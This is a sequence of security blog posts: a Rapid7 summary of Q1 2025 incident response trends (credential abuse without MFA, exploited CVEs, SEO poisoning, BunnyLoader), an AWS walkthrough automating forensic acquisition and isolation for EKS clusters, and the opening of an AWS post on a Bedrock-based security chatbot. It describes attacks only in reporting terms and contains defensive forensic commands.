Rapid7’s Q1 2025 incident response data highlights several key initial access vector (IAV) trends, shares salient examples of incidents investigated by the Rapid7 Incident Response (IR) team, and digs into threat data by industry as well as some of the more commonly seen pieces of malware appearing in incident logs.

Is having no MFA solution in place still one of the most appealing vulnerabilities for threat actors? Will you see the same assortment of malware regardless of whether you work in business services or media and communications? And how big a problem could one search engine query possibly be, anyway?

The answer to that last question is “very,” as it turns out. As for the rest…

Initial access vectors

Below, we highlight the key movers and shakers for IAVs across cases investigated by Rapid7’s IR team. While you’ll notice a fairly even split among several vectors such as exposed remote desktop protocol (RDP) services and SEO poisoning, one in particular is clearly the leader of the pack where compromising organizations is concerned: stolen credentials to valid/active accounts with no multi-factor authentication (MFA) enabled.

Rapid7 Q1 2025 Incident Response Findings

Valid account credentials — with no MFA in place to protect the organization should they be misused — are still far and away the biggest stumbling block for organizations investigated by the Rapid7 IR team, occurring in 56% of all incidents this first quarter.

Exposed RDP services accounted for 6% of incidents as the IAV, yet they were abused by attackers more generally in 44% of incidents. This tells us that third parties remain an important consideration in an organization’s security hygiene.

Valid accounts / no MFA: Top of the class

Rapid7 regularly bangs the drum for tighter controls where valid accounts and MFA are concerned. As per the key findings, 56% of all incidents in Q1 2025 involved valid accounts / no MFA as the initial access vector. In fact, there’s been very little change since Q3 2024, and as good as no difference between the last two quarters:

Rapid7 Q1 2025 Incident Response Findings

Vulnerability exploitation: Cracks in the armor

Rapid7’s IR services team observed several vulnerabilities used, or likely to have been used, as an IAV in Q1 2025. CVE-2024-55591 for example, the IAV for an incident in manufacturing, is a websocket-based race condition authentication bypass affecting Fortinet’s FortiOS and FortiProxy flagship appliances. Successful exploitation results in the ability to execute arbitrary CLI console commands as the super_admin user. The CVE-2024-55591 advisory was published at the beginning of 2025, and it saw widespread exploitation in the wild.

One investigation revealed attackers using the above flaw to exploit vulnerable firewall devices and create local and administrator accounts with legitimate-looking names (e.g., references to “Admin”, “I.T.”, “Support”). This allowed access to firewall dashboards, which may have contained useful information about the devices’ users, configurations, and network traffic. Policies were created which allowed for leveraging of remote VPN services, and the almost month-long dwell time observed in similar incidents may suggest initial access broker (IAB) activity, or a possible intended progression to data exfiltration and ransomware.

Exposed RMM tooling: A path to ransomware

As noted above, 6% of IAV incidents were a result of exposed remote monitoring and management (RMM) tooling. RMMs, used to remotely manage and access devices, are often used to gain initial access, or form part of the attack chain leading to ransomware.

One investigation revealed a version of SimpleHelp vulnerable to several critical privilege escalation and remote code execution vulnerabilities, which included CVE-2024-57726, CVE-2024-57727, and CVE-2024-57728.

These CVEs target the SimpleHelp remote access solution. Exploiting CVE-2024-57727 permits an unauthenticated attacker to leak SimpleHelp “technician” password hashes. If one is cracked, the attacker can log-in as a remote-access technician. Lastly, the attacker can exploit CVE-2024-57726 and CVE-2024-57728 to elevate to SimpleHelp administrator and trigger remote code execution, respectively. CVE-2024-57727 was added to CISA KEV in February 2025.

The vulnerable RMM solution was used to gain initial access and threat actors used PowerShell to create Windows Defender exclusions, with the ultimate goal of deploying INC Ransomware on target systems.

SEO poisoning: When a quick search leads to disaster

SEO poisoning, once the scourge of search engines everywhere, may not be high on your list of priorities. However, it still has the potential to wreak havoc on a network. Here, the issue isn’t so much rogue entries in regular search results, but instead the paid sponsored ads directly above typical searches. Note how many sponsored results sit above the genuine site related to this incident:

Rapid7 Q1 2025 Incident Response Findings
Multiple sponsored searches above the official (and desired) search result

This investigation revealed a tale of two search results, where one led to a genuine download of a tool designed to monitor virtual environments, and the other led to malware. When faced with both options, a split-second decision went with the latter and what followed was an escalating series of intrusion, data exfiltration and—eventually—ransomware.

Rapid7 Q1 2025 Incident Response Findings
An imitation website offering malware disguised as genuine software

On the same day of initial compromise, the attacker moved laterally using compromised credentials via RDP, installing several RMM tools such as AnyDesk and SplashTop. It is likely that the threat actor searched for insecurely stored password files and targeted password managers. They also attempted to modify and/or disable various security tools in order to evade detection, and create a local account to enable persistence and avoid domain-wide password resets.

An unauthorized version of WinSCP was used to exfiltrate a few hundred GB of sensitive company data from several systems, and with this mission accomplished only a few tasks remained. The first: attempting to inhibit system recovery by tampering with the Volume Shadow Copy Service (VSS), clearing event logs, deleting files, and also attempting to target primary backups for data destruction. The second: deployment of Qilin ransomware and a blackmail note instructing the victim to communicate via a TOR link lest the data be published to their leak site.

Qilin ranked 7 in our top ransomware groups of Q1 2025 for leak post frequency, racking up 111 posts from January through March. Known for double-extortion attacks across healthcare, manufacturing, and financial sectors, Qilin (who, despite their name, are known not to be Chinese speakers, but rather Russian-speaking) has also recently been seen deployed by North Korean threat actors Moonstone Sleet.

Attacker behavior observations

Bunnies everywhere: Tracking a top malware threat

BunnyLoader, the Malware as a Service (MaaS) loader possessing a wealth of capabilities including clipboard and credential theft, keylogging, and the ability to deploy additional malware, is one of the most prolific presences Rapid7 has seen this first quarter of 2025. In many cases, it’s also daisy-chained to many of the other payloads and tactics which make repeated appearances.

To really drive this message home: BunnyLoader is the most observed payload across almost every industry we focused on. Whether we’re talking manufacturing, healthcare, business services or finance, it’s typically well ahead of the rest of the pack. Here are our findings across the 5 most targeted industries of Q1:

Rapid7 Q1 2025 Incident Response Findings

BunnyLoader is in pole position not only for the 5 industries shown above, but across 12 of 13 industries overall, with 40% of all incidents observed involving this oft-updated malware.

Just over half of that 40% total involved a fake CAPTCHA (commonly used for the purpose of victims executing malicious code), with malicious / compromised sites appearing in a quarter of BunnyLoader cases. Rogue documents, which may be booby-trapped with malware or pave the way for potential phishing attacks, bring up the rear at just 9% of all BunnyLoader appearances recorded. First offered for sale in 2023 for a lifetime-use cost of $250, its continued development and large range of features make it an attractive proposition for rogues operating on a budget.

Targeted organizations: The manufacturing magnet

Manufacturing organizations were targeted in more than 24% of incidents the Rapid7 IR team observed, by far the most targeted industry in Q1 based on both Rapid7’s ransomware analytics and IR team observations. The chart below compares Rapid7’s industry-wide data (comprising a wide range of payloads and tactics) with ransomware leak post specific data. In both cases, manufacturing is a fair way ahead of other industries; this reflects its status as one of the most popular targets for ransomware groups over the last couple of years.

The manufacturing industry is an attack vector for nation states because it is an important component of global trade. It is also an area that has many legacy and older, operational technologies (OT). Combine unpatched legacy systems with complicated supply chains, and you have a risk that nation state actors will find an attractive target. This is especially the case when considering that many manufacturing organizations have critical contracts with governments, and attacks can cause severe disruption if they’re not speedily resolved.

Rapid7 Q1 2025 Incident Response Findings

Conclusion

Q1 2025 resembles a refinement of successful tactics, as opposed to brand new innovations brought to the table. Our Q1 ransomware analytics showed threat actors making streamlined tweaks to a well-oiled machine, and we find many of the same “evolution, not revolution” patterns occurring here.

This progression is particularly applicable in the case of initial access via valid accounts with no MFA protection. We expect to see no drop in popularity while businesses continue to leave easy inroads open and available to skilled (and unskilled) attackers.

In addition, the risk of severe compromise stemming from seemingly harmless online searches underscores the necessity for organizations to reexamine basic security best practices, alongside deploying robust detection and response capabilities. Businesses addressing these key areas for concern will be better equipped to defend against what should not be an inevitable slide into data exfiltration and malware deployment.

How to automate incident response for Amazon EKS on Amazon EC2

Post Syndicated from Jonathan Nguyen original https://aws.amazon.com/blogs/security/how-to-automate-incident-response-for-amazon-eks-on-amazon-ec2/

Triaging and quickly responding to security events is important to minimize impact within an AWS environment. Acting in a standardized manner is equally important when it comes to capturing forensic evidence and quarantining resources. By implementing automated solutions, you can respond to security events quickly and in a repeatable manner. Before implementing automated security solutions, it’s important for your security team to have a defined process and understanding of which actions to take for specific AWS resources.

In a previous two-part post, we discussed using Amazon GuardDuty and Amazon Detective to detect security issues for an Amazon Elastic Kubernetes Service (Amazon EKS) cluster. In this post, we walk through the differences of Amazon Elastic Cloud Compute (Amazon EC2) and EKS clusters on EC2 when responding to security events. By understanding the differences between the two AWS resource types, you can enhance your existing EC2 incident response (IR) automation to include EKS. Then, we walk you through the deployment and use of a sample solution based on the Automated Forensics Orchestrator for Amazon EC2 solution to automate the end-to-end incident response process for EKS, which includes acquisition, isolation, investigation and reporting.

If you’re familiar with the differences between responding and investigating Amazon EC2 and Amazon EKS resources and want to skip to the solution, skip to the Solution prerequisites.

Note: Amazon EKS on AWS Fargate, which is an AWS managed serverless computing engine, isn’t covered in this post.

Amazon EC2 compared to Amazon EKS resources for incident response

Although Amazon EKS clusters are running on EC2 instances, it’s important to understand the differences between the two and how to handle incident response automation for each resource type. EC2 is a virtual machine where you can install customized applications and packages to complete a task. Amazon EKS is an AWS managed service that you can use to run Kubernetes on EC2 instances without needing to install, operate, and maintain your own Kubernetes control plane or nodes. You can use existing plugins and tooling from the Kubernetes community. EKS clusters can have managed node groups, which create and manage the underlying EC2 instances. Because of Kubernetes cluster architecture, multiple EC2 instances within a node group can be tied to a single EKS cluster. There can also be multiple pods—each running different processes—running on an EC2 instance. GuardDuty can monitor and detect security events for EKS resources and provide information to help identify which resources are impacted, such as EKS cluster name, Kubernetes workload details, tags, and AWS Identity and Access Management (IAM) principals.

For incident response automation purposes, security teams need to understand the relationship between Amazon EKS and Amazon EC2 to determine the appropriate response to a possible security event. For example, if GuardDuty identifies Execution:Kubernetes/AnomalousBehavior.ExecInPod, you might want to investigate the command invoked on the identified pod along with other pods within the EKS cluster. To expand the investigation, you would need to capture and investigate evidence on the entire EKS cluster, which can include multiple EC2 instances.

Accessing Amazon EKS clusters using kubectl

To collect relevant forensic evidence, such as volatile memory, there might be instances where you need to run commands on Amazon EKS clusters. Kubectl is a command line tool that you can use to manage and run commands on EKS clusters using the Kubernetes API. Access with kubectl is limited to the container environment and doesn’t provide full shell access to the host. Although AWS Systems Manager (AWS SSM) can be used to interact with an EKS cluster’s EC2 instances, kubectl allows administrators to manage pods, scale applications, and view cluster logs. We dive into specific actions where kubectl is used in the later sections of this post.

When automating the workflow of response actions to an Amazon EKS cluster, you can incorporate the kubectl commands within Amazon Lambda functions. To invoke commands using kubectl, you need to get credentials for the EKS cluster to:

  1. Authenticate to an IAM principal authorized to work with Amazon EKS
  2. Obtain the EKS cluster endpoint
  3. Verify the certificate authority data for the EKS endpoint
  4. Generate a bearer token from the IAM principal
  5. Create a kubeconfig configuration dictionary

For more detailed information, see A Container-Free Way to Configure Kubernetes Using AWS Lambda and a deep dive into simplified Amazon EKS access management.

Capturing volatile memory on EKS

Volatile memory (RAM) in a memory dump is important because it contains the EC2 instance’s in-progress operations. Volatile memory is extremely important in determining the root cause of a security event. Although the commands for capturing volatile memory between EC2 instances and Amazon EKS clusters are similar, there is one important difference to keep in mind. For Linux operating systems, you can use the insmod command with the appropriate LiME kernel module (.ko file) to capture volatile memory:

sudo insmod $lime.ko "path=/path/to/dump.mem format=lime"

For Amazon EKS cluster EC2 instances, there can be multiple pods on a single EC2 instance. Knowing which process ID (PID) is associated to a pod is important to map the actions that could have resulted in a security event or compromise.

Figure 1: EKS cluster node list

Figure 1: EKS cluster node list

To get a list of PIDs on the EC2 instance, as shown in Figure 1, the following crictl command needs to be invoked:

crictl inspect $(crictl ps | grep [pod-name] | awk '{print $1}') | grep -i pid

After the crictl command is invoked, you will see the output of existing PIDs for the EC2 instance to use in the nsenter command, as shown in the following figure.

Figure 2: EKS node process ID list

Figure 2: EKS node process ID list

To create a mapping between a pod and the PID from a memory dump, the following nsenter command needs to be invoked on the target EC2 instance:

nsenter -t $PID -u hostname

After the nsenter command is invoked, you will see the output of pod and PID information for the EC2 instance, as shown in the following figure.

Figure 3: EKS node process ID to pod mapping commands

Figure 3: EKS node process ID to pod mapping commands

After you have the pod-to-PID mapping, you can export that information for later investigation. If you skip this step, the memory dump output will still have the PID information, but you won’t be able to map it back to previously running pods. It’s important to work with your security teams during forensic investigations to determine if this information is used during an investigation and update the automated workflow accordingly.

Network segmentation on EKS

After relevant forensic artifacts, such as volatile memory, disk volumes, and application logs, are collected from an Amazon EKS cluster, you might want to isolate compromised resources from the rest of your application resources. During resource isolation, EC2 instances can be isolated using security groups and network access control lists (NACLs). For EKS clusters, you can cordon the worker node, which makes the node tainted and unschedulable. When a node is cordoned, the Kubernetes scheduler is also blocked from placing new pods on the node. Another mechanism for isolating the EKS cluster is applying a Network Policy to deny ingress or egress traffic to the pod. Network policies, like NACLs, are stateless and control network traffic at the IP address or port level in an EKS cluster.

Depending on the scope of isolation, you can take the following approaches to isolating a pod on an EKS cluster in your automation.

  • Apply a network policy – You can add a network policy rule to limit ingress or egress from your pod. This will not impact other pods in the cluster unless there are additional rules applied. You would use this option if you’re sure that the compromise hasn’t gained access to the underlying EC2 instance.
  • Cordon the node – Removing the node won’t impact other nodes on the cluster but will block the scheduling of pods on the node. It doesn’t affect other nodes within the cluster.
  • Apply a security group – Applying a security group can impact the entire EC2 instance and limit traffic between Amazon EKS cluster nodes, the Kubernetes control plane, the cluster’s worker nodes, and external destinations. This is an option if you believe the underlying EC2 instance has been compromised.
  • Add a NACL rule – Like the security group option, this will impact the entire EC2 instance. Depending on the rule, it can also affect non-EKS workloads within the subnet.

Identity and access management for EKS

In addition to the IAM role associated to an EC2 instance profile, Amazon EKS uses service-linked IAM roles and Kubernetes role-based authorization control (RBAC) configuration. The IAM principal that creates the EKS cluster has system:masters permissions within the RBAC configuration on the EKS cluster. RBAC provides Kubernetes identities access for cluster-specific components and workflows. In addition to default identities created on EKS clusters, application-specific roles can be used within an EKS cluster. For example, IAM roles for service accounts (IRSA) can be used to associate an IAM role with a Kubernetes service account and assigned to containers within an EKS Pod. IRSA can help implement least privilege by restricting the Pod’s container to retrieve credentials for the IAM role associated with the Kubernetes service account. For a deeper dive into EKS IAM and how IAM roles are used within EKS, see Identity and access management for Amazon EKS.

Deciding how to revoke Amazon EKS permissions using automation can be challenging because revoking the AWS Security Token Service (AWS STS) credentials or changing the instance profile on the EC2 instance will impact all pods on the EC2 instance. Updating or changing the RBAC configurations on an EKS cluster requires application-specific knowledge to determine which identities are authorized to have specific permissions. It’s important to discuss with your application and security teams how permissions should be handled in the event of a compromised EKS cluster.

Moving to automated EKS incident response

Now that you understand the nuances of Amazon EKS on Amazon EC2 as it relates to incident response, you can decide how to incorporate functionality to respond to EKS in an existing solution your team might be using. It’s also important to understand where a human-in-the-loop needs to be incorporated to follow internal processes and procedures. Before incorporating automation into IR capabilities, you should walk through each step and verify the action the automation takes to make sure that the security and application teams are aligned. In this post, we incorporated Amazon EKS IR capabilities across acquisition, isolation, and investigation into the Automated Forensics Orchestrator for Amazon EC2 solution.

Solution prerequisites

For this walkthrough, you need to have the following elements in place:

Solution overview

The solution follows a similar pattern and workflow as the Automated Forensics Orchestrator for Amazon EC2 but has been customized for Amazon EKS.

Figure 4: Automated Forensics Orchestrator for Amazon EKS architecture

Figure 4: Automated Forensics Orchestrator for Amazon EKS architecture

The workflow, as shown in Figure 4, is:

  1. In the AWS application account, GuardDuty monitors for malicious activities that are specific to Amazon EKS resources. For example, a pod within an EKS cluster is invoking API commands using an unauthenticated system:anonymous user. GuardDuty findings are sent to Security Hub in the security account using native integration.
  2. Security Hub custom actions send finding information to Amazon EventBridge to invoke automated downstream workflows.
  3. For a specified event, EventBridge provides the EKS resource information for the forensics process to target and initiates an AWS Step Functions workflow.
  4. Step Functions triages the request as follows:
    1. Gets the EKS information, including which EC2 instances the pod is hosted on.
    2. Determines if isolation is required based on the Security Hub custom action.
    3. Determines if acquisition is required based on tags associated with the EC2 instance. The current tag that is evaluated is the following:
      • Tag name: IsTriageRequired
      • Tag key: true or false
    4. Initiates the acquisition flow based on triaging output
  5. Triaging details are stored in Amazon DynamoDB.
  6. The following two acquisition flows are initiated in parallel:
    1. Memory forensics flow – The Step Functions workflow captures the memory data and stores it in Amazon Simple Storage Service (Amazon S3). Post memory acquisition completion, the node is isolated by cordoning the node, creating a network policy, and applying a restricted security group to the cluster. To help maintain the chain of custody, a new security group is attached to the targeted instance and removes access for users, admins, or developers.
    2. Note: The isolation action is initiated based on the selected Security Hub custom action.

    3. Disk forensics flow – The Step Functions workflow takes a snapshot of the Amazon Elastic Block Storage (Amazon EBS) volume and shares it with the forensic account.
  7. Acquisition details are stored in DynamoDB.
  8. After the disk or memory acquisition process is complete, and the evidence has been captured successfully, a notification is sent to an investigation Step Functions state machine to begin the automated investigation of the captured data.
  9. The investigation Step Functions starts a forensic instance from a forensic AMI loaded with customer forensic tools:
    1. Loads the memory data from Amazon S3 for memory investigation.
    2. Creates an Amazon EBS volume from the snapshot and attaches it for disk analysis.
  10. Systems Manager documents (SSM documents) are used to run a forensic investigation.
  11. DynamoDB stores the state of the forensic tasks and their result when the jobs are complete. Investigation job details are stored in DynamoDB.
  12. Investigation details are shared with customers using Amazon Simple Notification Service (Amazon SNS).
  13. Forensic AMI is used by investigation Step Functions to perform memory and disk investigation.

Solution deployment

You can deploy the Amazon EKS IR automation solution using the AWS CDK or synthesizing a CDK into AWS CloudFormation templates and deploying them using AWS Management Console. Although the solution can be deployed in a single AWS account, the AWS Security Reference Architecture (AWS SRA) recommends that you use separate AWS accounts for forensic evidence and security tooling. The solution deployment follows AWS SRA recommendations.

The latest code for the Amazon EKS IR automation solution can be found at sample-eks-incident-response-automation, where you can also contribute to the sample code. For instructions and more information about using the AWS CDK, see Getting Started with AWS CDK.

Deploy the automation that collects, stores, and investigates forensic artifacts in the forensic AWS account:

  1. To build the app when navigating to the project’s root folder, use the following commands.
    • npm ci
    • npm run-build-lambda
  2. Run the following commands in your terminal while authenticated in your forensic solution AWS account. Be sure to replace <INSERT_AWS_ACCOUNT> with your account number and replace <INSERT_REGION> with the AWS Region that you want the solution deployed to.
  3. cdk bootstrap aws://<INSERT_AWS_ACCOUNT>/<INSERT_REGION>
    
    cdk deploy --all -c account=<INSERT Forensic AWS Account> -c region=<INSERT_FORENSIC_SOLUTION_REGION> --require-approval=never -c secHubAccount=<INSERT SECURITY_HUB_AGGREGATOR_AWS_ACCOUNT> -c STACK_BUILD_TARGET_ACCT=forensicAccount
    

    Example:

    cdk deploy —all -c account=1234567890 -c region=us-east-1 —require-approval=never -c secHubAccount=0987654321 -c STACK_BUILD_TARGET_ACCT=forensicAccount

Deploy the Security Hub custom action and EventBridge in the Security Hub Region of the delegated administrator account where security findings are consolidated:

  1. To build the app when navigating to the project’s root folder, use the following commands.
    • npm ci
    • npm run build-lambda
  2. Run the following commands in your terminal while authenticated in your Security Hub aggregator AWS account. Be sure to replace <INSERT_AWS_ACCOUNT> with your account number and replace <INSERT_REGION> with the AWS Region that you want the solution deployed to.
  3. cdk bootstrap aws://<INSERT_AWS_ACCOUNT>/<INSERT_REGION>
    	
    	cdk deploy --all -c account=<INSERT_SECURITY_HUB_AGGREGATOR_AWS_ACCOUNT> -c region=<INSERT_FORENSIC_SOLUTION_REGION> --require-approval=never -c forensicAccount=<INSERT_FORENSIC_SOLUTION_AWS_ACCOUNT> -c STACK_BUILD_TARGET_ACCT=securityHubAccount -c sechubregion=<INSERT_SECURITY_HUB_AGGREGRATOR_REGION>
    

    Example:

    cdk deploy --all -c account=0987654321 -c region=us-east-1 --require-approval=never -c forensicAccount=1234567890 -c STACK_BUILD_TARGET_ACCT=securityHubAccount -c sechubregion=us-east-1

Deploy the cross-account IAM role the security automation will use in the application AWS account where the EKS workload exists:

  1. Sign in to the AWS CloudFormation console of the application AWS account.
  2. Launch the CloudFormation cross-account-role.yml stack.
  3. Pass the following CloudFormation input parameters:
    1. solutionInstalledAccount=<Forensic Solution AWS Account Number>
    2. solutionAccountRegion=<Region of solution deployment>
    3. kmsKey=<ARN of the application account EBS volume encryption KMS key>

Use the solution to respond to an EKS GuardDuty alert

You can now use the automated solution on an Amazon EKS cluster with a GuardDuty finding that’s integrated with Security Hub. If you need to create GuardDuty findings, see How to generate security findings to help your security team with incident response simulations.

After you have an EKS security finding, you can go through either one of the IR workflows:

  • Forensic triage – This workflow evaluates in-scope EKS resources, collects volatile and non-volatile memory, conducts an investigation, and exports investigation artifacts to a forensic S3 bucket.
  • Forensic isolation – In addition to components of the previous workflow, the in-scope EKS resources are quarantined at the network and IAM layers.

In this example, you’ll use the forensic isolation workflow because that covers the end-to-end capabilities of the solution.

Run the forensic isolation workflow:

  1. Open the AWS Security Hub console in the Security Hub aggregator account.
  2. Choose Findings in the navigation pane and then select a security finding for Amazon EKS.
  3. Select the custom action for Forensic Isolation. This will start the workflow in the Security Hub aggregator account and invoke the Step Functions in the forensic account.
  4. Open the AWS Step Functions console in the forensic account.
  5. In the navigation pane, choose State Machines and then select the Forensic-Triage-Function to view the workflow graph status. In the following figure, the Step Functions workflow has successfully completed.
    Figure 5: EKS triage Step Functions graph view

    Figure 5: EKS triage Step Functions graph view

    1. In the Get Resource Info Case step, the pod name from the GuardDuty finding is extracted to identify the EKS cluster it’s part of and the related EC2 resources.
    2. Note: Per the solution, a guardrail is added to block action on an EC2 instance that is part of an EKS cluster with the IsTriageRequired tag with a value set to false. If automation is invoked against a protected EC2 instance resource, acquisitionFlow is skipped and a notification will be sent to the SNS topic.

  6. Because the EKS cluster isn’t excluded through the IsTriageRequired tag, a parallel invocation of Step Functions is invoked to capture forensic evidence.
  7. Select the Disk-Forensics-Acquisition-Function. The workflow here is similar to a normal EC2 incident response flow to capture snapshots and EBS volumes with the caveat that the EKS cluster can have multiple EC2 instances. In the following figure, the Step Functions workflow has successfully completed.
    Figure 6: Disk forensics acquisition Step Functions graph view

    Figure 6: Disk forensics acquisition Step Functions graph view

  8. Select the Memory-Forensics-Acquisition-Function; In the following figure, the Step Function workflow has successfully completed.
    Figure 7: Memory forensics acquisition Step Functions graph view

    Figure 7: Memory forensics acquisition Step Functions graph view

    1. As previously mentioned, you will need to determine if you want to map pods to process ID (PID) as part of this workflow. The automation captures the volatile memory where you will be able see the PIDs on the EC2 instance but does not map the PID to node for deeper investigation.
    2. Note: One reason you might not want to automatically map pods to PIDs is to minimize interaction with the possibly compromised cluster and quickly move towards isolation.

    3. After the Is Memory Acquisition Complete step is complete and if the Security Hub custom action for Forensic Isolation was selected, the isolation workflow of the EKS cluster begins. The isolation workflow will go through EKS-specific steps to:
      1. Label the affected pods on the EKS cluster.
      2. Apply a network policy to the affected pods.
      3. Revoke IAM role sessions.
      4. Cordon the node.
  9. Note: Depending on your desired workflow, you can edit these steps or add additional isolation steps to change instance profiles, security groups, or NACL rules.

  10. To expedite the investigation process, the Forensic-Investigation-Function is invoked when the Memory-Forensics-Acquisition-Function is completed and separately by the Disk-Forensics-Acquisition-Function. This is because of the disk and memory forensic evidence collection completing at different times. A forensic EC2 instance will be launched and begin conducting the investigation on the forensic artifacts. The completed investigation artifacts will be sent to Amazon S3 as they’re completed.
    1. You can use the console to view EKS artifacts within the dedicated S3 bucket in the forensic AWS account.
    2. Figure 8: Completed memory investigation artifacts for EKS

      Figure 8: Completed memory investigation artifacts for EKS

    3. The forensic investigation results from the automated workflow are also saved to the dedicated S3 bucket in the forensic AWS account.
Figure 9: Completed disk investigation artifacts for EKS

Figure 9: Completed disk investigation artifacts for EKS

As part of the automation, the forensic investigation EC2 instance in the forensic account is terminated after investigation is completed. The automation can be updated to retain the EC2 instance to so that your security teams can continue their investigation and review investigation artifacts to expedite root cause analysis.

As previously mentioned, the workflow you just went through encompasses both investigation and isolation of Amazon EKS resources. If your security teams want to conduct a more thorough investigation prior to isolating EKS resources, select the Forensic Triage custom action in Security Hub. Additionally, if you want to update the solution to be invoked from your security incident and event management (SIEM) tool, you can directly invoke the Forensic-Triage-Function Step Functions from your SIEM.

Clean up

For the cross-account IAM role in the application account, you can:

  1. Go to the AWS CloudFormation console for the application account and Region where you deployed the cross-account IAM role, select the cross-account-role stack.
  2. Choose the option to Delete the stack.

To clean up the CDK stacks, run the following command in the source folder in the Security Hub aggregator account and forensic account.

cdk destroy --all

Conclusion

In this post, we showed you the differences between Amazon EKS and Amazon EC2 resources and how to handle EKS automation for incident response. Even though EKS clusters are on EC2 instances, it’s important to understand the differences before implementing an automated solution that will affect EKS resources. We also walked through the deployment of an EKS-customized Automated Forensics Orchestrator for Amazon EC2 solution and showed you the end-to-end IR lifecycle to respond to a possible EKS compromise. The same approach to customize existing EC2 IR automated solutions can be used to expand support for EKS resources within your AWS environment to increase your security posture.

If you have feedback about this post, submit comments in the comments section that follows. If you have questions about this post, start a thread on re:Post.

Jonathan Nguyen
Jonathan Nguyen

Jonathan is a Principal Security Solution Architect at AWS. He helps large financial services customers develop a comprehensive security strategy and solutions to meet their security and compliance requirements in AWS.
Gopinath Jagadesan
Gopinath Jagadesan

Gopi is a Senior Solution Architect at AWS. In his role, he works with Amazon as his customer helping design, build, and deploy well architected solutions on AWS. He holds a master’s degree in electrical and computer engineering from the University of Illinois at Chicago. Outside of work, he enjoys playing soccer and spending time with his family and friends.

Use an Amazon Bedrock powered chatbot with Amazon Security Lake to help investigate incidents

Post Syndicated from Madhunika Reddy Mikkili original https://aws.amazon.com/blogs/security/use-an-amazon-bedrock-powered-chatbot-with-amazon-security-lake-to-help-investigate-incidents/

In part 2 of this series, we showed you how to use Amazon SageMaker Studio notebooks with natural language input to assist with threat hunting. This is done by using SageMaker Studio to automatically generate and run SQL queries on Amazon Athena with Amazon Bedrock and Amazon Security Lake. The Security Lake service team and the Open Cybersecurity Schema Framework (OCSF) community continue to add additional log sources and OCSF mappings to enable Security Lake to provide a consolidated source for customers to conduct security investigation.

Because security logging data sources continually grow, organizations need to provide a mechanism for their security teams to understand and query those data sources. You might have existing investigation and response playbooks that your security teams need to be well-versed in and know when to use. It can take security teams an extended period of time to onboard and understand the available security data sources and playbooks and how to efficiently use them to reduce the mean time to respond.

In this post, we show you how to extend the functionality from the previous post. You will learn how to deploy a security chatbot with a graphical user interface (GUI) and a serverless backend powered by an Amazon Bedrock agent that incorporates existing playbooks to investigate or respond to a security event. The chatbot demonstrates purpose-built Amazon Bedrock agents that help address security concerns depending on the user’s natural language input. The solution has a single GUI that provides a direct interface with the Amazon Bedrock agent to create and invoke SQL queries or provide recommendations for internal incident response playbooks to investigate or respond to possible security events.

Security chatbot sample solution overview

Figure 1: Security chatbot sample solution architecture diagram

Figure 1: Security chatbot sample solution architecture diagram

Application flow as shown in Figure 1:

  1. User submits a query through the React UI.

    Note: The React UI used in this solution doesn’t have authentication built in. It’s recommended that you add authentication capabilities that follow your organization’s security requirements. You can add authentication capabilities by using Amazon Cognito and AWS Amplify UI.

  2. The user’s query is sent to an Amazon API Gateway REST API, which invokes the Invoke Agent AWS Lambda function.
  3. The Lambda function invokes the Amazon Bedrock agent with the user’s query.
  4. The Amazon Bedrock agent (using Anthropic’s Claude 3 Sonnet) processes the query and decides between retrieving information from the playbooks or by querying Security Lake using Amazon Athena.

For playbook knowledge base queries:

  1. The Amazon Bedrock agent queries the playbooks knowledge base and retrieves relevant results.

For Security Lake data queries:

  1. The Amazon Bedrock agent queries the schema knowledge base and retrieves the Security Lake table schemas to create an SQL query.
  2. The Amazon Bedrock agent invokes the SQL query action from the Amazon Bedrock action group, passing the SQL query as a parameter.
  3. The action group invokes the Execute SQL on Athena Lambda function, which executes the query on Athena and returns the results to the Amazon Bedrock agent.

After retrieving results from the knowledge base or action group:

  1. The Amazon Bedrock agent uses the retrieved information to formulate the final response and sends it back to the Invoke Agent Lambda function.
  2. The Lambda function sends the response back to the client using an API Gateway WebSocket API.
  3. API Gateway delivers the response to the React UI using a WebSocket connection to the client.
  4. The agent’s response is displayed to the user in the chat interface.

Prerequisites

Before deploying the sample solution, complete the following prerequisites:

  1. Enable Security Lake in your organization in AWS Organizations and specify a delegated administrator account to manage the Security Lake configuration for all member accounts in your organization. Configure Security Lake with the appropriate log sources: Amazon Virtual Private Cloud (Amazon VPC) Flow Logs, AWS Security Hub, AWS CloudTrail, and Amazon Route53.
  2. Create subscriber query access from the source Security Lake AWS account to the subscriber AWS account.
  3. Accept a resource share request in the subscriber AWS account in AWS Resource Access Manager (AWS RAM).
  4. Create a database link in AWS Lake Formation in the subscriber AWS account and grant access for the Athena tables in the Security Lake AWS account.
  5. Grant Anthropic’s Claude v3 model access for Amazon Bedrock in the AWS subscriber account where you will deploy the solution. If you try to use a model before you enable it in your AWS account, you will get an error message.

With the prerequisites in place, the sample solution architecture provisions the following resources:

  1. Amazon CloudFront with an Amazon Simple Storage Service (Amazon S3) origin.
  2. An Amazon S3 static website for the chatbot UI.
  3. An API Gateway to call a Lambda function.
  4. A Lambda function to invoke the Amazon Bedrock agent.
  5. An Amazon Bedrock agent with a knowledge base.
    1. An Amazon Bedrock agent action group to generate and invoke SQL queries on Athena.
      1. An Amazon Bedrock knowledge base to reference example Athena table schemas in Security Lake. Although the Amazon Bedrock agent can get rows directly from the Athena table, providing example table schemas improves SQL query generation accuracy for table columns in Security Lake.
      2. An Amazon Bedrock knowledge base to reference existing incident response playbooks. By incorporating this knowledge base, the Amazon Bedrock agent can suggest actions for investigation or response based on existing playbooks that have already been approved by your organization.

Cost

Before deploying the sample solution and walking through this post, it’s important to understand the cost of the AWS services being used. The cost will largely depend on the amount of data you interact with in Amazon Bedrock and by querying Security Lake with Athena.

  1. Security Lake costs are determined by the volume of log and event data ingested from AWS services. Security Lake orchestrates other AWS services on your behalf, which incur separate charges. You can find more information on pricing for the respective services: Amazon S3, AWS GlueAmazon EventBridgeAWS LambdaAmazon Simple Query Service (Amazon SQS), and Amazon Simple Notification Service (Amazon SNS).
  2. Amazon Bedrock on-demand pricing is based on the selected large language model (LLM) and the number of input and output tokens. A token is comprised of a few characters and refers to the basic unit of text that a model learns to understand the user input and prompts. For more details, see Amazon Bedrock pricing.
  3. The SQL queries generated by Amazon Bedrock are invoked using Athena. Athena cost is based on the amount of data scanned within Security Lake for that query. For more details, see Athena pricing.

Deploy the sample chatbot

You can deploy the sample solution by using AWS Cloud Development Kit (AWS CDK). For instructions and more information on using the AWS CDK, see Get Started with AWS CDK.

  1. Clone the sample-generative-ai-chatbot-for-amazon-security-lake repository.
  2. Navigate to the project’s root folder.
  3. Install the project dependencies.
